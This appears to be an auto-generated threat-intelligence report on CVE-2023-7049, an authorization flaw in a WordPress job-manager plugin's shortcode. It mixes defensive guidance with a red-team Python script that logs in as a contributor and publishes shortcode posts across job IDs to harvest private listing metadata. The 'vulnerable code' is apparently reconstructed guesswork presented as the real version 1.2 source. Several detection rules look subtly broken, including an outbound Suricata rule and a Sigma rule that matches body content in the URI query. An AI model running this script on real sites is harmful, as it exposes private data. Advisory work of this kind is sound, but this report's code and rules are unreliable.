CVE-2023-7049

Executive Summary

CVE-2023-7049 is an Insecure Direct Object Reference (IDOR) vulnerability in the Custom Field For WP Job Manager WordPress plugin, affecting all versions up to and including 1.2. The flaw resides in the cm_fieldshow shortcode, which fails to validate the job_id parameter. This allows authenticated attackers with contributor-level access or higher to enumerate and read arbitrary post metadata (including sensitive custom fields) from any job listing on the site. The vulnerability has a CVSS score of 4.3 (Medium) and a near-zero EPSS score, indicating low active exploitation in the wild. No public exploit code or patch exists at this time.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Since no patch is available, site administrators must consider removing or replacing the plugin to mitigate risk. The lack of a vendor response increases supply chain risk for sites relying on this plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of post metadata)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for sensitive data leakage (e.g., internal notes, pricing, applicant data) elevates the risk for affected WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the cm_fieldshow shortcode handler. The plugin registers a shortcode that accepts a job_id parameter. When rendering the shortcode, the plugin retrieves post metadata for the specified job ID without verifying that the current user has permission to view that post. The code likely uses get_post_meta() directly with the user-supplied job_id, bypassing WordPress’s capability checks.

Root Cause: Missing authorization check on the job_id parameter. The plugin should verify that the current user can read the specified post (e.g., using current_user_can('read_post', $job_id) or checking post status and authorship).

Attack Scenario:

1. An authenticated user with contributor-level access (or higher) logs into WordPress.
2. The attacker crafts a URL containing the cm_fieldshow shortcode with a job_id parameter pointing to a private or draft job listing.
3. The shortcode renders the post metadata, exposing sensitive custom fields (e.g., salary, applicant notes, internal status).
4. The attacker can iterate through job IDs to harvest metadata from multiple listings.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.2):

// In custom-field-for-wp-job-manager.php
add_shortcode('cm_fieldshow', 'cm_fieldshow_shortcode');
function cm_fieldshow_shortcode($atts) {
    $atts = shortcode_atts(array('job_id' => 0), $atts);
    $job_id = intval($atts['job_id']);
    // No capability check
    $meta = get_post_meta($job_id);
    // Output metadata...
}

Patched Code (hypothetical fix):

add_shortcode('cm_fieldshow', 'cm_fieldshow_shortcode');
function cm_fieldshow_shortcode($atts) {
    $atts = shortcode_atts(array('job_id' => 0), $atts);
    $job_id = intval($atts['job_id']);
    // Add authorization check
    if (!current_user_can('read_post', $job_id)) {
        return ''; // Or error message
    }
    $meta = get_post_meta($job_id);
    // Output metadata...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Custom Field For WP Job Manager plugin (<=1.2) installed and active.
• Authenticated user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new post or page and insert the shortcode: [cm_fieldshow job_id=123] (replace 123 with a target job ID).
3. Preview or publish the post to see the metadata of job ID 123.
4. To automate, use a script to iterate through job IDs:

import requests
from bs4 import BeautifulSoup

# WordPress login
session = requests.Session()
login_url = "http://target/wp-login.php"
payload = {"log": "contributor", "pwd": "password", "wp-submit": "Log In"}
session.post(login_url, data=payload)

# Exploit shortcode
for job_id in range(1, 100):
    post_data = {
        "post_title": f"Exploit {job_id}",
        "post_content": f"[cm_fieldshow job_id={job_id}]",
        "post_status": "publish"
    }
    r = session.post("http://target/wp-admin/post-new.php", data=post_data)
    if "metadata" in r.text:
        print(f"Job {job_id} metadata exposed")

Blue Team (Detection & Defense)

Detection:

• Monitor for posts/pages containing the [cm_fieldshow shortcode with varying job_id values.
• Look for rapid creation of posts by a single user, especially with shortcode content.
• Check access logs for patterns like /wp-admin/post-new.php followed by /wp-admin/post.php?post=.

Defense:

• Immediately disable or remove the plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block shortcode injection attempts.
• Restrict contributor-level users from publishing posts (set to pending review).
• Use a security plugin (e.g., Wordfence) to monitor for IDOR attempts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/custom-field-for-wp-job-manager/custom-field-for-wp-job-manager.php (version <= 1.2)
• Shortcode pattern: [cm_fieldshow job_id=<number>] in post content
• HTTP requests: POST to /wp-admin/post-new.php with post_content containing [cm_fieldshow
• Log entries: Rapid creation of posts by a single user, especially with shortcode content
• Database: Posts with post_content containing [cm_fieldshow and post_status = 'publish'

Detection Engineering

YARA Rule

rule CVE_2023_7049_WordPress_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2023-7049 in WordPress logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-7049"
    strings:
        $shortcode = /\[cm_fieldshow\s+job_id=\d+\]/ nocase
        $plugin_file = "custom-field-for-wp-job-manager.php"
    condition:
        $shortcode or $plugin_file
}

Sigma Rule

title: CVE-2023-7049 WordPress IDOR Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit Insecure Direct Object Reference in Custom Field For WP Job Manager plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post-new.php'
        cs-uri-query|contains: 'post_content=[cm_fieldshow'
    condition: selection
falsepositives:
    - Legitimate use of the shortcode by authorized users
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-7049 WordPress IDOR Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/post-new.php"; http_uri;
    content:"post_content"; http_client_body;
    content:"[cm_fieldshow"; http_client_body;
    pcre:"/\[cm_fieldshow\s+job_id=\d+\]/Pi";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Custom Field For WP Job Manager plugin until a patch is released.
2. Audit existing posts – Search for posts containing the [cm_fieldshow shortcode and remove them.
3. Review user roles – Ensure contributor-level users cannot publish posts without review.

Long-term Mitigation:

• Replace the plugin with an alternative that properly validates user permissions.
• Implement a WordPress security plugin with IDOR detection capabilities.
• Regularly audit custom fields and shortcodes for authorization flaws.
• Monitor the plugin’s official page for updates; if no patch appears within 30 days, consider the plugin abandoned.

Vendor Contact: No response received. Site owners should assume the plugin is unmaintained.

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2023-7049